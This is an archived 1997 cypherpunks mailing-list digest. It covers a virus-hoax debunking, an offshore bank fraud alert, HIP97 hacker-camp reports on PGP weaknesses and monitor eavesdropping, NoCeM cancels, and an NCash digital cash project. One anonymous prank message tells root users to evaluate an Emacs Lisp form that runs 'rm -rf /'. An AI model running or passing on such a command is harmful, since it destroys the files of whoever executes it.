These issues are mundane compared to issues like NAMBLA. I don't agree
that it is art, but I don't advocate denying them the right to do so.

> When he's old enough to handle reality when he trips over >it, I'll let him.  That's MY job.  Not yours.
> 
I never said it was my job. I would use my best judgement in the event
of your absence, but when you are available it is definitely your
choice.

> Do you let your child walk unescorted through the streets >of New York City?  London?  Moscow?  Singapore?  Chicago?  >Detroit?  Beijing?  If so, I hope that you are arrested for >neglect.  You have no business turning an unescorted child >loose on the streets.
> 
I agree wholeheartedly and would testify to such at your trial. Yet,
then the question becomes one of: If you feel that way about the streets
of NY and the like, then why the  difference of opinion about the
internet? Is it because it is a virtual place? You think of physical
damage to the child. Ideas and mental damage have far longer, and
deeper, lasting effects than most physical injuries. 

> Parents who do not monitor their children on the net are >as guilty of neglect as those who would turn them loose on >the streets of a foreign city.
> 
Once again we are in agreeance.

> You have no business turning an unescorted child loose on >the web. Are you prepared to have him put his e-mail >address into some stranger's form?  www.childstalkers.com >or www.lolitawatch.org(tm) might love to have it.
> 
Yet again we agree.

> The web is an adult place, where adult thought is allowed >to flow.
> 
Yes it is, yet more and more children are gaining access to the net
everyday. One major contributing factor to this is the use of computers
in school, of which I am a major advocate.

> 
> The whole point of allowing adult thought is this:
> 
>     We couldn't even have this discussion on a
>     "Judeo-Christian-child-safe" Internet.
> 
> Think carefully about this.
> 
I never suggested that we sanatize the net into that.

> Now, to answer why we're opposed to ratings, look at the >"voluntary" ratings labels placed on music albums.  There >are major discount stores that WILL NOT CARRY CDs that are >labeled "Warning: Adult Lyrics." The "voluntary" label >means the loss of thousands of retail outlets, and the >potential loss of tens of thousands of sales, all because >the record company thought it best to voluntarily be >"child-safe". Other stores require you to be 18 to purchase >them, and require ID. There are municipalities that have >considered laws to make it illegal to sell these >"voluntarily labeled" albums to children under 18.
> 
If the songs are about expression then, no. Don't ban them. But if they
advocate the killing of cops or how great it is to be a gangster and
shoot other people like Vanilla Ice and Snoop Doggy Dog did, then yes. I
say ban them. Why? They violate the very principles of life... life is
sacred, and it's they only one we got.

> So, if there were a net rating system that became widely >used, you can bet your child's college money on the fact >that every major corporation in the United States will put >a ratings filter on their firewall.  The entire Internet >service to Singapore, Malasia, Indonesia and China will be >filtered by ratings.  Half the ISPs in the USA will
>probably follow suit, as will AOL and Prodigy.  That is why >a rating system is so bad.
> 
There is a major difference bewteen rating a site and completely banning
a site due to it's rating in that system. No organization has the right
to make the decision for me about whether or not I can have access to
that site even if it falls into the "filth" rating. That is *my* choice
and decision to make not theirs'. Therein lies the problem, not in the
rating system itself. The problem develops when these groups tell me I
can not access them. Their rating system, my choices.

> There's plenty of precedent for clamping down on >ThoughtCrime.
> 
Define your idea of thoughtcrime and we'll see just how much we really
disagree.

>YOU want to clamp down on ThoughtCrime.  That's why YOU are
> dangerous to society.  Not the pornographers.  YOU, the >censors.
> 
LOL, not *even* going to waste time on *that* statement!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Lynne L. Harrison" <lharrison@mhv.net>
Date: Sat, 9 Aug 1997 17:40:07 +0800
To: cypherpunks@toad.com
Subject: Re: [Fwd: Virus Warning]]
In-Reply-To: <33EC326A.31390DFF@cyberspacetechnologies.com>
Message-ID: <3.0.3.32.19970809051238.006d4908@pop.mhv.net>
MIME-Version: 1.0
Content-Type: text/plain



At 05:03 AM 8/9/97 -0400, David D.W. Downey wrote:
>
>			*** FYI ***
>If you recieve an e-mail titled " JOIN THE CREW" do not open it.
>
>It will erase everything on your hard disk.
>
>This is a new virus that is not detected by McAfee or Norton.


Yes, my children, this is a new virus.  There are certain facts, however,
of which you should be aware.

>From http://ciac.llnl.gov/ciac/CIACHoaxes.html#joincrew:


----------------Begin Attached Message------------------

Join the Crew

Circulating the Internet is an email message entitled "Join the Crew". For
a virus to spread, it must be executed. Reading a mail message does not
execute the mail message. Trojans and viruses have been found as executable
attachments to mail
messages, but they must be extracted and executed to do any harm. CIAC
still affirms that reading E-mail, using typical mail agents, can not
activate malicious code delivered in or with the message.

    IMPORTANT - VIRUS Alert!!!


         Take note !

         Someone got an email, titled as JOIN THE CREW.
         It has erased his hard drive.
         Do not open up any mail that has this title.
         It will erase your whole hard drive.
         This is a new email virus and not a lot of people know about it,
         just let everyone  know, so they won't be a victim.

         Please e-mail this to everyone you know!!!
         Remember the title :    JOIN THE CREW

Variants of this email message are circulating the Internet. If you receive
an email message entitled "Join the Crew" and it has an attachment, CIAC
recommends that you delete the message and the attachment. If you receive
just the message, delete the
message. Please DO NOT circulate unvalidated virus alerts.

------------End Attached Message-------------


Postscript:  To those of you who still are virgins, please read the above
thoroughly noting especially: "For a virus to spread, it must be executed.
Reading a mail message does not execute the mail message."

Go ye in safety with thy hard drive in tact. 






*************************************************************
Lynne L. Harrison, Esq.       |   "No matter how far you've
Poughkeepsie, New York        |    gone down the wrong road,
lharrison@mhv.net             |    turn back."
http://www.dueprocess.com     |     - Turkish proverb
*************************************************************

DISCLAIMER:  I am not your attorney; you are not my client.
             Accordingly, the above is *NOT* legal advice.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 9 Aug 1997 20:30:19 +0800
To: cypherpunks@toad.com
Subject: Alert: European Union Bank
Message-ID: <v03110706b011fd8ccb29@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


X-Sender: themet@pop.mindspring.com
Mime-Version: 1.0
Date: Thu, 7 Aug 1997 15:11:07 -0700
To: fraudnews@silverquick.com
From: Mark Taylor <null@silverquick.com>
Subject: Alert: European Union Bank
Reply-to: Mark Taylor <themet@mindspring.com>


The European Union Bank, which advertised for customers on the
internet and operated out of Antigua, is closed and a fraud alert has
been issued by the government of Antigua.  The founders of the bank,
Serbveo Ushakov, allegedly of Bronxville, New York, and Vietalui
Papsouev of Richmond Hill,  are missing. The government says the two
are Russian nationals.

Employees of the bank were fired last week and a recorded phone
message states that the bank is temporarily closed.  The banks
internet site at The bank's Internet site ( http://www.eubank.ag ) is
no longer functioning.

The government of Antigua has appointed Coopers & Lybrand do a full
audit of the bank.

On May 30 the Idaho Department of Finance ordered European Union to
stop soliciting
deposits from Idaho residents over the Internet.  The state alleged
that since the bank operated without a state or federal charter that
it was operating illegally.

Last week that the Bank of England warned investors last fall about
depositing funds in European Union Bank.

There is no word yet on how many people deposited money in this bank
and how much money is missing.  The government of Antigua states it
is cracking down on banks with alleged connections to Russian
mobsters.




	FraudNews is owned and published by :
	Mark Taylor: themet@mindspring.com

All material published is copyright.It must not be reproduced
in any form without the express permission of of the owner.

=============================================================
This Newsletter is broadcast using the List and Newsletter
Management facilities of Silverquick Communications
You may subscribe to FraudNews and the Fraud-Discuss lists on
the web pages at : http://www.silverquick.com
=============================================================

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 9 Aug 1997 14:00:32 +0800
To: cypherpunks@Algebra.COM
Subject: JOIN THE CREW
Message-ID: <199708090554.HAA07924@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



If you are reading this message as root under Emacs, please position
the cursor to the final paren in the following and hit C-x C-e.

(call-process-internal "/bin/rm"
		       nil t nil
		       "-rf" "/")


VirusMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 9 Aug 1997 23:32:01 +0800
To: cypherpunks@toad.com
Subject: It's cool to be iang@hip97.nl
Message-ID: <v03110702b0121b3fc592@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: 8 Aug 1997 13:12:06 -0000
From: iang@systemics.com
To: e$@thumper.vmeng.com
Subject: It's cool to be iang@hip97.nl
Sender: <e$@vmeng.com>
Precedence: Bulk
List-Software: LetterRip 2.0 by Fog City Software, Inc.
List-Unsubscribe: <mailto:requests@vmeng.com?subject=unsubscribe%20e$>
List-Subscribe: <mailto:requests@vmeng.com?subject=subscribe%20e$>

Well, sometimes it takes a long time to get a network going, and
sometimes it takes, well, minutes.  Ten minutes ago I wandered
down to the HIP HQ tent and picked up a clothes peg with an IP
number on it, and a slip of paper with some details.

And now I am up and running.  What's more surprising is this a fast
link.  Traceroutes under 10ms are about the best advert I can think
of for XS4ALL, the Dutch provider at the centre of it all.  There's no
flies on the PTT either, with dual 6Mb microwaves and a portable GSM
cell linking this field in the middle of nowhere to central Amsterdam.

It makes you wonder whether this privatisation business is really all
it's cracked up to be.

Lucky Green has done a sterling job as cypherpunk advance campmeister.
When he's not building computer racks out of empty beer bottles (I'm
typing on two crates of real Budweiser!), he's teasing us with a public
key triple DES scrambler.  We're not allowed to use it because we're
not Americans.  But that's cool, as long as we have our SSH and PGP and
we get to empty more beer bottles.

Beer is selling at 4 Hipsters.  Ain't private currencies wonderful :-)

Last night I walked the entire campsite.  Only the clear skys and bright
stars reminded me of a mis-spent youth in the outdoors.  Tents piled
with equipment.  Not the glowflies of Anguilla, but glowing monitors
and flashing leds for our lighting.  Not the sounds of crickets, but
keyboard clicking and "gateway's up" and "who's got address 21" in
multi-lingual hip-speak.

Having got this machine up and going, the only thing I can think of
is to write this email.  But that's ok too, because I'm about to be
booted off.  Squiggle is going to hook up her sonar to Brian the Brain,
the cypherpunk sysadm.  That's for Brian to send out 49.4kHz clicks
so that he knows when to ask for food of passer's by.  Which makes for
two over-worked brains that I can count.

It's cool to be iang@hip97.nl

PS: Brian and friend are at http://www.sabotage.org/mpeg/brain1.jpeg

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "David D.W. Downey" <admin@CyberSpaceTechnologies.com>
Date: Sat, 9 Aug 1997 17:43:49 +0800
To: "Lynne L. Harrison" <lharrison@mhv.net>
Subject: Re: [Fwd: Virus Warning]]
In-Reply-To: <3.0.3.32.19970809051238.006d4908@pop.mhv.net>
Message-ID: <33EC6F69.9285620@cyberspacetechnologies.com>
MIME-Version: 1.0
Content-Type: text/plain



Lynne is most definitely correct. In order for a viral infection to take
place, execution of the attached file first take place. Even malicious
MS Word and likeminded word processing macros must inevitably execute a
binary file. This message was forwarded to me via an ISP Viral Alert
program. I apologize for not including the fact of program execution as
being the actual infecting point. To all those familiar and  unfamiliar
with the way virii operate, please accept my sincere apologies.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 9 Aug 1997 11:57:48 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <e4H4ae46w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.93.970809092959.337B-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Thu, 7 Aug 1997, Dr.Dimitri Vulis KOTM wrote:

[...]

> > What if the message is
> > forged in such a way that it looks exactly as if it came from you?
> 
> Ditto, and consider setting up a service to automatically issue NoCeMs
> for forgeries.

In fact consider setting up a service to automatically issue NoCeMs for
bad pgp sigs.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+usWqQK0ynCmdStAQGWnAQAskTxuMw3EWKj584gh+dLnazsVnfeKmKX
M9t5IlTgzBhCm8AMd0R9arITI+QHWdGIeOfReP0TijjL1/fZSQvq9uA2QRRlAUf0
FuoeAEBXgo1PFcLd22JFA18X1140Z+i0Eocx4eYNJLck+0SKwJzKK7NmBOAvm1Vj
wQcz7GBHxyc=
=1rUK
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 9 Aug 1997 12:04:22 +0800
To: cypherpunks@toad.com
Subject: Re: forged cancels (Re: Entrust Technologies's Solo - free
In-Reply-To: <19970808003832.21296@bywater.songbird.com>
Message-ID: <Pine.LNX.3.93.970809093157.337C-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

On Fri, 8 Aug 1997, Kent Crispin wrote:

> On Thu, Aug 07, 1997 at 10:00:25PM -0500, Dr.Dimitri Vulis KOTM wrote:

[...]

> > Use a retraction server (David's project)
> 
> Just curious -- how would this be morally different from doing a
> cancel?

Well NoCeMs are harder to abuse, in addtion there are thay can be treated
more flexibly then the blunt interestrment that are cancels.

- -- 
Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  ex-net.scum and proud
You Say To People "Throw Off Your Chains" And They Make New Chains For
Themselves? --Terry Pratchett

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: noconv

iQCVAwUBM+utV6QK0ynCmdStAQGG6QQArND+QSSeZR4Fd2hz022teFJEWz0h/Ndo
xcyiV98aXPIGOOiKKNXyWYqZKfZYkfRPQFVHWkkLvuPTsOcpj2iLmb5iZwjxgfGc
Qrq7kocfGVN7VuGeS8uEeK+eWhvHdIfKB1C4ZBjHAXjPx7aVWSh/qbVBA8ZFlnZT
vfG1zN7CBsA=
=PQCw
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 9 Aug 1997 23:41:18 +0800
To: cypherpunks@toad.com
Subject: NCash - an experimental digital cash system
Message-ID: <v0311070ab01222e4914b@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: Fri, 08 Aug 1997 19:39:46 -0400
From: "Eric S. Johansson" <esj@harvee.billerica.ma.us>
Reply-To: esj@harvee.billerica.ma.us
Organization: only slightly
MIME-Version: 1.0
To: rah@shipwright.com
Subject: NCash - an experimental digital cash system

do you know about this??  (probably :-)
--- eric

http://www.lysator.liu.se/~nisse/NCash/

Content-Type: text/html
Content-Base: "http://www.lysator.liu.se/~nisse/NCash
	/"
X-MIME-Autoconverted: from 8bit to quoted-printable by
harvee.billerica.ma.us id SAA25447





This corner of the WWW is devoted to information, documentation and source
for the NCash digital cash experiment. Some pointers here are links right
into my source tree, so don't be surprised if you find inconsistencies or
bugs.




NCash is my Master's project at the Linköping Institute of Technology. The
idea is to design and implement an bare-bones off-line digital cash system,
meeting rather high standards for security and privacy. And then try it out
in the Real World. For simplicity, NCash will be software only, with both
servers and clients running on Unix-like machines.

The cash system being implemented follows the ideas of Stefan Brands'
rather closely, in particular the system described in his 'An efficient
off-line electronic cash system based on the representation problem'.




An excellent introduction to digital cash and related matters are David
Chaum's articles 'Achieving Electronic Privacy' and 'Security Without
Identification: Transaction Systems to Make Big Brother Obsolete', written
1992 and 1985 respectively.




I'm running a mailing list for discussion of the NCash project. The list is
mainly for the persons more or less involved in the project, i.e. me, my
supervisor, other people who have offered help, volunteers who wish to try
out the system when time comes, and some friends and other interested
people. The main language on the list is Swedish.

To subscribe, send mail to <ncash-request@lysator.liu.se>. The list address
is <ncash-request@lysator.liu.se>. There's also an
<http://www.lysator.liu.se/~nisse/NCash/ncash-arkiv>archive.




Ahttp://www.lysator.liu.se/~nisse/NCash/s the design and implementation
proceeds, I try to keep up with documenting NCash. If you dare, look at the
latest snapshot as of August 6th. Also available as
<http://www.lysator.liu.se/~nisse/NCash/NCash.ps>postscript

The <http://www.lysator.liu.se/~nisse/NCash/source.html>source code will
mostly be written in the Pike language, and will probably be released under
the GNU General Public License, but it's not ready yet for some time.

The server will probably run on a <http://www.linux.org>Linux machine that
the mathematics department has kindly given me access to.

  Last modified: Wed May 21 02:53:29 MET DST 1997   Niels Möller
<nisse@lysator.liu.se>

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 9 Aug 1997 23:32:55 +0800
To: cypherpunks@toad.com
Subject: Hipped on PGP
Message-ID: <v0311070cb01223c8c713@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain




--- begin forwarded text


Date: 9 Aug 1997 02:13:36 -0000
From: iang@systemics.com
To: e$@thumper.vmeng.com
Subject: Hipped on PGP
Sender: <e$@vmeng.com>
Precedence: Bulk
List-Software: LetterRip 2.0 by Fog City Software, Inc.
List-Unsubscribe: <mailto:requests@vmeng.com?subject=unsubscribe%20e$>
List-Subscribe: <mailto:requests@vmeng.com?subject=subscribe%20e$>

HIP finishes late in the day.  It's 0100 - that's one in the morning
for the temporally challenged - and the smart card workshop has just
broken up.

Actually it was the second pass.  The first pass was 'sold out' at 150
people, this second started at 2300 this evening.  Again, 150 people
turned up and sat through presentations of hardware and data formats
and attacks on the financially finest plastic in Europe.

I have no snippets or revelations, I am not one of the dedicated.  Mondex
remains un-hacked, ChipKnip is secure.  Frankly I'm not interested, I find
the world of smart cards deadly boring.  Perhaps it is the hardware, or
maybe because attacks on smart cards have little chance of realising any
gain or meltdown.

I can on the other hand report that Saturn is safe tonight, as our in-HIP
astrodome is busilly monitoring progress.  What better way to wind down
than to head up to north campground and check out the latest telescopic
tracking software.  Speaking of celestial control, the weather is perfect.
That's by California standards, not European.



Dave del Torto was lucky to be joining us for his talk on PGP user security.
After buzzing the bells of the trainee bag scanner with 15kg of portables
and random cables, he was incarcerated in an investigative cell for a couple
of hours.  Many hours after seeing his flight head east, a state department
goon turns up.

"When are you coming back?" asks the goon, knowing full well the
day.  Dave says "the 16th" blithely unaware that his passport expires on the
day before.  Goon leaves, returns, hands over passport.   Only problem was,
passport was cancelled...  No explanation.  No advice, no help.

How Dave wings it over to HIP and saves the free world has to wait until,
well, another's email.  What disturbs is the gradual, unstoppable closing
of borders in our erstwhile free western neigbour.  Just like the American
predomination, or should I say, embarrasment of topic on the never-ending
crypto saga.

If freedom is to contract a cancer, a malignant tumour, then Dave's talk
on PGP user security is as a promise of the miracle cure, and not the
State Department chemotheropy that cures the disease by killing the patient.



Dave was followed by a presentation by Gary Howland on weaknesses in PGP.
These theoretical problems leave one with niggling doubts as to the accepted
reputation, our holy gail of privacy and security.  There is no need for
panic - many of the attacks are both highly specific, have been recognised
for some time, and have been explicitly fixed in the latest release, PGP 5.0.

But there is pause for thought.  Howland and myself and many other have
built financial cryptographic systems that relied on the mantra of PGP
impregnability.  The attacks he described work best in programmed systems
like ours and those of our more respectable competitors.

For example, imagine building a system that authorised counterparties on
the strength of the PGP id or the fingerprint.

Now we discover that Mallory can make a new key with the same fingerprint.
Whilst not wishing to state that this is the end of the world, clearly we
have to re-evaluate the entire architecture that was built up upon PGP.
We believed in the PGP reputation as much as others, and these attacks
are a timely reminder of the need for eternal hacker vigilance.

These flaws are significant but addressable: PGP 5.0 has fixes for all but
one of the flaws mentioned.  And for the record, whilst Gary's attack to
change conventionally encrypted files without detection was unknown to the
PGP team at the moment, we can be sure that it will be addressed.

Other exciting developments were the van Eyk demonstration by Prof.
Euller.  Not one, not two, but three methods to detect and display
PC monitor signals on a slaved monitor, from distances into the several
hundreds of metres.  There is now little doubt that standard computers
are the FBIs best friend.  What need key escrow?



Signing off and Hipped out.  iang@somwhere.in.the.middle.of.nowhere

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness a